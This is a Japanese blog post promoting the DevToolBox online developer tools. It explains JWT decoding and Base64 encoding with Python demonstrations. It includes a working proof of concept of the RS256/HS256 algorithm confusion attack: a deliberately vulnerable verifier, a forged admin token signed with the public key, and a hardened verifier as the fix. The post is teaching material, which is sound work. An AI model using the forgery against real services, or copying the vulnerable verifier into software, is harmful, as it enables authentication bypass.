DevToolBox - 開発者向け無料オンラインツール85種類以上を公開

JSON整形、Base64変換、正規表現テスター、CSSジェネレーター、JWT解析など85種類以上の開発者向けツールを無料で提供するDevToolBoxを紹介。JWTのbase64url構造とRS256/HS256アルゴリズム混同攻撃、Base64のビットパッキングとURLセーフ変体をPythonで実際に検証します。

DevToolBoxとは

DevToolBox は、開発者が日常的に必要とするツールをブラウザ上で手軽に使えるようにまとめたサービスです。インストール不要、登録不要で、85種類以上のツールをすぐに利用できます。

本記事では単なるツール紹介にとどまらず、その中でも特に技術的に奥が深い JWTデコーダーBase64エンコード/デコード を取り上げ、内部で何が起きているのかをPythonで実際に手を動かして検証します。「JWTは暗号化なのか」「なぜBase64には=パディングが必要なのか」「URLセーフBase64はどこが違うのか」といった、ツールを使うだけでは見えない部分を掘り下げます。

JWTの構造を実際にデコードしてみる

header.payload.signature の3部構成

JWT(JSON Web Token) は、.(ピリオド)で区切られた3つの部分から構成される文字列です。

<Header>.<Payload>.<Signature>
  • Header: 署名アルゴリズム(alg)とトークン種別(typ)を表すJSON
  • Payload: 実際のクレーム(subiatなど任意のキー・バリュー)を表すJSON
  • Signature: HeaderとPayloadを連結した文字列に対する署名またはMAC

HeaderとPayloadは、それぞれJSON文字列をBase64URLエンコードしただけのものです。ここが最も誤解されやすい点ですが、JWTは暗号化ではありません。HeaderとPayloadは秘密鍵・共通鍵を一切使わずに誰でもデコードでき、中身がそのまま読めます。保護されているのはSignature(署名)だけで、これは「Payloadが改ざんされていないこと」を保証するものであり、「Payloadの中身を隠すこと」を保証するものではありません。

検証:HS256トークンを生成し、秘密鍵なしでPayloadを読む

実際にHS256(HMAC-SHA256)で署名したJWTを生成し、署名検証に使う秘密鍵を一切使わずにHeaderとPayloadをデコードできることを確認します。

import base64, json, hmac, hashlib

def b64url_encode(data: bytes) -> str:
    return base64.urlsafe_b64encode(data).decode().rstrip("=")

def b64url_decode(s: str) -> bytes:
    padding = "=" * (-len(s) % 4)
    return base64.urlsafe_b64decode(s + padding)

header = {"alg": "HS256", "typ": "JWT"}
payload = {"sub": "1234567890", "name": "Taro Yamada", "admin": True, "iat": 1752800000}
secret = b"my-super-secret-key"  # 署名者だけが知っている共通鍵

header_b64 = b64url_encode(json.dumps(header, separators=(",", ":")).encode())
payload_b64 = b64url_encode(json.dumps(payload, separators=(",", ":")).encode())
signing_input = f"{header_b64}.{payload_b64}".encode()
signature = hmac.new(secret, signing_input, hashlib.sha256).digest()
sig_b64 = b64url_encode(signature)

jwt_token = f"{header_b64}.{payload_b64}.{sig_b64}"
print("JWT:", jwt_token)

# --- ここから先は秘密鍵を一切使わない、誰にでもできる操作 ---
parts = jwt_token.split(".")
decoded_header = json.loads(b64url_decode(parts[0]))
decoded_payload = json.loads(b64url_decode(parts[1]))
print("Decoded header :", decoded_header)
print("Decoded payload:", decoded_payload)

実行結果:

JWT: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IlRhcm8gWWFtYWRhIiwiYWRtaW4iOnRydWUsImlhdCI6MTc1MjgwMDAwMH0.dc0_QysBXj61aImxzt6fgqe4KldrdX8ogAJz-6z6QJA

Decoded header : {'alg': 'HS256', 'typ': 'JWT'}
Decoded payload: {'sub': '1234567890', 'name': 'Taro Yamada', 'admin': True, 'iat': 1752800000}

秘密鍵secretを一度も参照せずに、{"admin": true}まで含めたPayloadの中身が完全に読めています。JWTをローカルストレージやログに保存する際、機密情報をPayloadに入れてはいけないというベストプラクティスは、この性質から直接導かれます。 DevToolBox JWTデコーダー でも同じことがブラウザ上で即座に確認できます。

エッジケース:RS256/HS256 アルゴリズム混同攻撃

JWT検証の実装ミスとして有名なものに「algヘッダをそのまま信用してしまう」ことに起因する脆弱性があります。よく知られる alg: none 攻撃(署名検証自体を無効化させる手口)については、OAuth 2.0 / OpenID Connect のIDトークン検証を扱った OAuth 2.0とOpenID Connectの仕組み:認可と認証の基礎 で、PyJWTを使った実装込みで詳しく検証済みです。ここでは、それとは別のもう一つの古典的な実装バグであるRS256→HS256アルゴリズム混同攻撃を取り上げます。

RS256(RSA署名)を想定して作られたサーバーが、同じ検証関数を使い回して「HS256も受け付ける」実装になっていると、次のような事故が起こり得ます。

  1. サーバーはRSA鍵ペアを持ち、IDトークンをRS256(秘密鍵で署名・公開鍵で検証)で発行する
  2. 公開鍵はJWKSエンドポイントなどで誰でも取得できるように公開されている
  3. 検証コードが verify(token, key, algorithms=["RS256", "HS256"]) のように、alg がHS256のときは同じ key 変数をHMACの共通鍵として使い回してしまう
  4. 攻撃者は秘密鍵を持っていなくても、公開鍵のバイト列そのものをHMAC共通鍵として使いalg: HS256のトークンを自分で署名できてしまう

Pythonで実際にこの攻撃を再現し、脆弱な検証関数と安全な検証関数の挙動の違いを確認します。

import base64, json, hmac, hashlib
from cryptography.hazmat.primitives.asymmetric import rsa, padding
from cryptography.hazmat.primitives import hashes, serialization

def b64url_encode(data: bytes) -> str:
    return base64.urlsafe_b64encode(data).decode().rstrip("=")

def b64url_decode(s: str) -> bytes:
    return base64.urlsafe_b64decode(s + "=" * (-len(s) % 4))

# サーバーの本物のRSA鍵ペア(秘密鍵はサーバーだけが保持、公開鍵はJWKSで公開)
private_key = rsa.generate_private_key(public_exponent=65537, key_size=2048)
public_key = private_key.public_key()
public_pem = public_key.public_bytes(
    encoding=serialization.Encoding.PEM,
    format=serialization.PublicFormat.SubjectPublicKeyInfo,
)

# 正規のRS256トークン(秘密鍵で署名)
header_rs = {"alg": "RS256", "typ": "JWT"}
payload = {"sub": "user-42", "admin": False}
h_b64 = b64url_encode(json.dumps(header_rs, separators=(",", ":")).encode())
p_b64 = b64url_encode(json.dumps(payload, separators=(",", ":")).encode())
signing_input = f"{h_b64}.{p_b64}".encode()
rsa_sig = private_key.sign(signing_input, padding.PKCS1v15(), hashes.SHA256())
legit_token = f"{h_b64}.{p_b64}.{b64url_encode(rsa_sig)}"

# 脆弱な検証関数:alg=HS256のとき、同じkeyをHMAC共通鍵として使い回す
def vulnerable_verify(token: str, key_material):
    h_b64, p_b64, s_b64 = token.split(".")
    header = json.loads(b64url_decode(h_b64))
    signing_input = f"{h_b64}.{p_b64}".encode()
    alg = header["alg"]
    if alg == "RS256":
        pub = serialization.load_pem_public_key(key_material)
        pub.verify(b64url_decode(s_b64), signing_input, padding.PKCS1v15(), hashes.SHA256())
    elif alg == "HS256":
        expected = hmac.new(key_material, signing_input, hashlib.sha256).digest()
        if not hmac.compare_digest(expected, b64url_decode(s_b64)):
            raise ValueError("bad HMAC signature")
    else:
        raise ValueError("unsupported alg")
    return json.loads(b64url_decode(p_b64))

print("verify(legit RS256 token) ->", vulnerable_verify(legit_token, public_pem))

# 攻撃者:秘密鍵は持たないが、公開鍵(PEM文字列)をHMAC共通鍵として使いHS256トークンを偽造
forged_header = {"alg": "HS256", "typ": "JWT"}
forged_payload = {"sub": "user-42", "admin": True}
fh_b64 = b64url_encode(json.dumps(forged_header, separators=(",", ":")).encode())
fp_b64 = b64url_encode(json.dumps(forged_payload, separators=(",", ":")).encode())
forged_signing_input = f"{fh_b64}.{fp_b64}".encode()
forged_sig = hmac.new(public_pem, forged_signing_input, hashlib.sha256).digest()
forged_token = f"{fh_b64}.{fp_b64}.{b64url_encode(forged_sig)}"

print("verify(forged HS256 token) ->", vulnerable_verify(forged_token, public_pem))

# 安全な検証関数:許可するアルゴリズムを呼び出し側が固定し、トークンのalg宣言を信用しない
def safe_verify(token: str, public_key_material, allowed_algs=("RS256",)):
    h_b64, p_b64, s_b64 = token.split(".")
    header = json.loads(b64url_decode(h_b64))
    if header["alg"] not in allowed_algs:
        raise ValueError(f"algorithm {header['alg']!r} not permitted; expected one of {allowed_algs}")
    pub = serialization.load_pem_public_key(public_key_material)
    pub.verify(b64url_decode(s_b64), f"{h_b64}.{p_b64}".encode(), padding.PKCS1v15(), hashes.SHA256())
    return json.loads(b64url_decode(p_b64))

try:
    safe_verify(forged_token, public_pem, allowed_algs=("RS256",))
except Exception as e:
    print("safe_verify(forged token) -> raised:", type(e).__name__, e)

実行結果:

verify(legit RS256 token) -> {'sub': 'user-42', 'admin': False}
verify(forged HS256 token) -> {'sub': 'user-42', 'admin': True}
safe_verify(forged token) -> raised: ValueError algorithm 'HS256' not permitted; expected one of ('RS256',)

攻撃者は秘密鍵を一切持たないまま、admin: trueに書き換えたトークンをvulnerable_verifyに通すことに成功しています。原因は「検証側が受け付けるアルゴリズムをトークン自身のalg宣言に委ねている」ことです。safe_verifyのようにサーバー側のコードで許可アルゴリズムを固定し、トークンのalg宣言を信用しないことで、この攻撃は確実に拒否されます。alg: none攻撃も含め、「algはヘッダに書いてある自己申告に過ぎず、攻撃者が自由に書き換えられる」という一点がJWT実装の最大の注意点です。

JWTを試したい場合は DevToolBox JWTデコーダー でトークンの中身を、 JWTジェネレーター でHS256トークンの発行をブラウザ上で試せます。

Base64エンコーディングのビット演算

3バイト→4文字のビットパッキング

Base64は8ビット単位(バイト)のバイナリデータを、64種類の印字可能文字だけで表現するためのエンコーディングです。\(2^6 = 64\) なので、6ビットのまとまりが1つのBase64文字に対応します。バイト(8ビット)と文字(6ビット)は最小公倍数の24ビット(=3バイト=4文字)で揃うため、Base64は入力を3バイトずつ区切って処理します。

  1. 3バイト(24ビット)を読み込む
  2. 24ビットを先頭から6ビットずつ4つに区切り直す(バイトの境界とは一致しない)
  3. 各6ビット値(0〜63)を、A-Z(0-25)→a-z(26-51)→0-9(52-61)→+(62)→/(63)のアルファベット表に対応させる

文字列 "Man" を例に、実際にPythonでビット単位まで分解して検証します。

import base64

data = b"Man"
bits = "".join(f"{byte:08b}" for byte in data)
print("入力バイト:", list(data), "->", bits, f"({len(bits)}ビット)")

sextets = [bits[i:i+6] for i in range(0, len(bits), 6)]
print("6ビットずつに再分割:", sextets)

indices = [int(s, 2) for s in sextets]
print("6ビット値(0-63):", indices)

alphabet = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
chars = [alphabet[i] for i in indices]
print("対応するBase64文字:", chars, "->", "".join(chars))

print("標準ライブラリでの検証:", base64.b64encode(data))

実行結果:

入力バイト: [77, 97, 110] -> 010011010110000101101110 (24ビット)
6ビットずつに再分割: ['010011', '010110', '000101', '101110']
6ビット値(0-63): [19, 22, 5, 46]
対応するBase64文字: ['T', 'W', 'F', 'u'] -> TWFu
標準ライブラリでの検証: b'TWFu'

自前でビット分解した結果が base64.b64encode の出力と完全に一致しました。下図は、このビットパッキングを可視化したものです。バイト境界(点線)と6ビットのセクステット境界(色分け)が一致しない様子が見て取れます。

「Man」の3バイト24ビットを6ビットずつのセクステットに再分割し、Base64文字「TWFu」に変換する過程を示すビットパッキング図。バイト境界(点線)とセクステット境界(色分け)が一致しないことが分かる

なぜパディング(=)が必要か

入力が3バイトの倍数でない場合、最後のグループは24ビットに満たず、6ビットのまとまりが作れません。この端数を埋めるために=パディングが使われます。

import base64

for s in [b"M", b"Ma", b"Man"]:
    enc = base64.b64encode(s)
    print(f"{s!r} ({len(s)}バイト={len(s)*8}ビット) -> {enc.decode()}  (パディング数: {enc.decode().count('=')})")

実行結果:

b'M' (1バイト=8ビット) -> TQ==  (パディング数: 2)
b'Ma' (2バイト=16ビット) -> TWE=  (パディング数: 1)
b'Man' (3バイト=24ビット) -> TWFu  (パディング数: 0)
  • 1バイト(8ビット)の入力は、6ビットずつに割ると1つ目のセクステットしか完全に埋まらず、2つ目は2ビットしか残らない → 4ビットのゼロ埋めをして1文字分にし、残りの2文字分は中身がないことを示す==を付与
  • 2バイト(16ビット)の入力は、2つ目のセクステットまで埋まり3つ目が4ビットしか残らない → 2ビットのゼロ埋めで1文字分にし、残り1文字分を=で埋める
  • 3バイト(24ビット)はちょうど4セクステットに割り切れるためパディング不要

=は「デコード時にここまでが実データで、ここから先は端数調整用のゼロ埋めだった」と伝えるための区切り文字であり、これがないと受信側は元のバイト数を復元できません。

エッジケース:URLセーフBase64(+/ vs -_)

標準のBase64アルファベットは62番目に+、63番目に/を使います。ところがこの2文字はURLやファイルパスで特別な意味を持ちます(+はスペースを表すことがあり、/はパス区切り文字です)。そのため、URLやファイル名にBase64文字列を埋め込む用途(JWTの各セグメントもこれです)では、62番目と63番目だけを-_に置き換えたURLセーフBase64(RFC 4648 §5)が使われます。

import base64

# 62番目・63番目のインデックスが出るように選んだバイト列
raw = bytes([0xFB, 0xFF, 0xBF])
print("入力バイト:", list(raw))
print("標準Base64  :", base64.b64encode(raw).decode())
print("URLセーフB64:", base64.urlsafe_b64encode(raw).decode())

実行結果:

入力バイト: [251, 255, 191]
標準Base64  : +/+/
URLセーフB64: -_-_

同じ入力バイト列でも、標準Base64では+/が現れるのに対し、URLセーフ版では-_に置き換わっています。デコード時のアルファベット表さえ合わせれば相互変換は機械的ですが、エンコード方式を取り違えると+/を含む文字列がURLの一部として壊れる+がスペースにデコードされたり、/がパスの区切りと誤認されたりする)ため、用途に応じて明示的に使い分ける必要があります。実際、JWTの各セグメントはBase64URLエンコードであり、標準Base64ではありません。

Base64を試す際は DevToolBox Base64エンコード/デコード 、画像の変換には 画像Base64変換 、URL自体のエンコードには URLエンコード/デコード が便利です。

ツールカテゴリ

フォーマット・整形

JSON、SQL、XML、CSS、JavaScript、HTMLなどのコードをワンクリックで整形・ミニファイできます。Markdownプレビューや、SVGの最適化にも対応しています。

エンコード・デコード

Base64、URL、HTMLエンティティなどの変換を即座に行えます。画像のBase64変換も対応しています(ビット単位の仕組みは上記で解説した通りです)。

テキスト処理

正規表現テスト、テキスト差分比較、文字数カウントなど、テキスト操作に関するツールを揃えています。正規表現エンジンの内部動作(バックトラッキングとReDoS)は Python正規表現実践ガイド で詳しく解説しています。

データ変換

YAML⇔JSON、CSV⇔JSON、TOML⇔JSONなど、異なるフォーマット間の相互変換に対応しています。

生成ツール

ハッシュ、UUID、パスワード、QRコードなど、開発で必要になる様々なデータを生成します。ハッシュ関数(SHA-256)とHMACの内部構成は SHA-256とHMACの理論とPython実装 で数値実験込みに解説しています。

CSSデザインツール

CSSのグラデーション、Box Shadow、Flexbox、Grid、アニメーションなどをGUIで作成し、コードをコピーできます。

開発支援

JWT解析、Cron式パーサー、HTTPステータスコード一覧など、開発を加速するツールを提供します。JWTの仕組みは上記で詳しく解説した通りです。

特徴

  • 完全無料・登録不要 - すべてのツールをブラウザだけで利用可能
  • オフライン対応 - PWAとしてインストールすれば、オフラインでも利用可能
  • 多言語対応 - 日本語・英語に対応
  • プライバシー重視 - データはすべてブラウザ内で処理され、サーバーに送信されません

まとめ

JWTは「暗号化」ではなく「Base64URLエンコード+署名」であり、Payloadは誰でも読めること、保護されているのは改ざん検知のための署名だけであることを実際のデコード結果で確認しました。また、algヘッダを検証側が信用してしまうと、alg: none攻撃だけでなくRS256/HS256アルゴリズム混同攻撃のように公開鍵を悪用した署名偽造も成立し得ることを、実際にPythonで攻撃を成功させることで示しました。Base64についても、3バイト→4文字のビットパッキングと=パディングの必要性、そして+/-_が入れ替わるURLセーフ変体の違いを、標準ライブラリの出力と突き合わせながら検証しました。

ぜひ DevToolBox をブックマークして、日々の開発にお役立てください。

関連記事

参考文献